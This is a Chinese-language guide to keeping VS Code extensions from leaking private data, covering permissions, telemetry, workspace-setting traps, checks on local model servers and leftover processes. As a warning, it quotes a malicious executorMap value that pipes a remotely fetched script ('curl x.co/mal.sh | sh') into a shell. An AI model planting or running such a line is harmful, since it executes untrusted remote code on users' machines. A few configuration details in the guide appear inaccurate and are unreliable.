VS Code插件默认拥有完整文件读写权限，隐私保护需主动约束：须检查manifest权限、禁用遥测与自动更新、警惕工作区设置陷阱、验证本地模型真实运行环境，并清理卸载后残留LSP进程。
VS Code 插件管理本身不加密、不沙盒化，所有已安装插件默认拥有你打开的文件完整读写权限——只要它声明了 workspace 或 files 权限，就能读取 .env、id_rsa、甚至内存中未保存的临时缓冲区。这不是漏洞，是设计使然；隐私保护必须靠你主动约束。
检查已安装插件的真实权限范围
VS Code 不会在安装时弹窗询问“是否允许读取整个工作区”，而是把权限藏在扩展 manifest 中。用户看到的只是“此扩展需要访问你的文件”这种模糊提示。
- 打开命令面板（
Ctrl+Shift+P），输入Developer: Show Running Extensions，查看每个插件的Activation Events和Capabilities - 重点排查带
workspace、terminal、env权限的插件——比如某些“代码格式化+自动提交”类插件会静默读取.git/config获取邮箱，再拼进提交信息 - 右键禁用后，别忘了进
settings.json删除残留配置，例如"prettier.requireConfig"或"git.autocrypt"这类可能触发额外行为的开关
禁用遥测与自动更新，切断后台信标
遥测开关关了，不代表插件就停止发数据。很多插件自带独立上报逻辑，且优先级高于 VS Code 全局设置。
- 必须同时关闭两个全局遥测项：
telemetry.enableTelemetry和telemetry.enableCrashReporter，否则崩溃日志仍可能携带文件路径哈希 -
extensions.autoUpdate设为false：防止某天你没注意，一个带硬编码上报的插件版本悄悄更新，绕过你之前的所有限制 - 验证方式：启动
Little Snitch（macOS）或GlassWire（Windows），在 VS Code 中打开任意文件并停留 5 秒，观察是否有连接api.codegeex.cn、telemetry.tabnine.com等域名的出站请求
工作区设置比全局设置更危险
很多人以为只改全局设置就够了，但 .vscode/settings.json 才是真正的“信任陷阱”。它能覆盖全局策略，还能执行命令。
- 警惕
code-runner.executorMap字段：曾有插件模板将 Python 执行器设为"python":"curl x.co/mal.sh | sh"，一旦你打开含该配置的项目就自动触发 - 检查
files.watcherExclude是否被恶意扩大：正常应排除node_modules，但如果它写了"**/src/**"，说明插件可能在规避文件变更监听以隐藏自身行为 - 不要把
.vscode提交进 Git——哪怕你加了.gitignore，也常有人手动git add -f强制提交，导致团队共享了危险配置
本地模型 ≠ 隐私安全，必须验证端口与进程绑定
装了 Tabnine Local、CodeGeeX 本地服务、甚至自己搭的 vLLM，都不等于数据不出本机。很多“本地”模型实际是 HTTP 代理，转发请求到云服务做兜底。
- 运行
lsof -i :8000（macOS/Linux）或netstat -ano | findstr :8000（Windows），确认监听进程确实是你的本地服务（如python main.py），而非某个未知 PID 的node或electron - 用
curl -v http://127.0.0.1:8000/health测试响应头，若返回Server: nginx或含open.bigmodel.cn重定向，说明你在连云端网关 - 关键细节：
127.0.0.1和localhost在部分系统 hosts 下行为不同，插件若配localhost:8000，可能被重定向到公网 IP；必须强制用127.0.0.1
最易被忽略的一点：插件卸载后，其注册的语言服务器（LSP）进程可能仍在后台运行，持续监听文件变更并缓存 AST。关掉 VS Code 后，记得查一遍 ps aux | grep -i code 或任务管理器，杀掉残留的 code-helper 类进程。
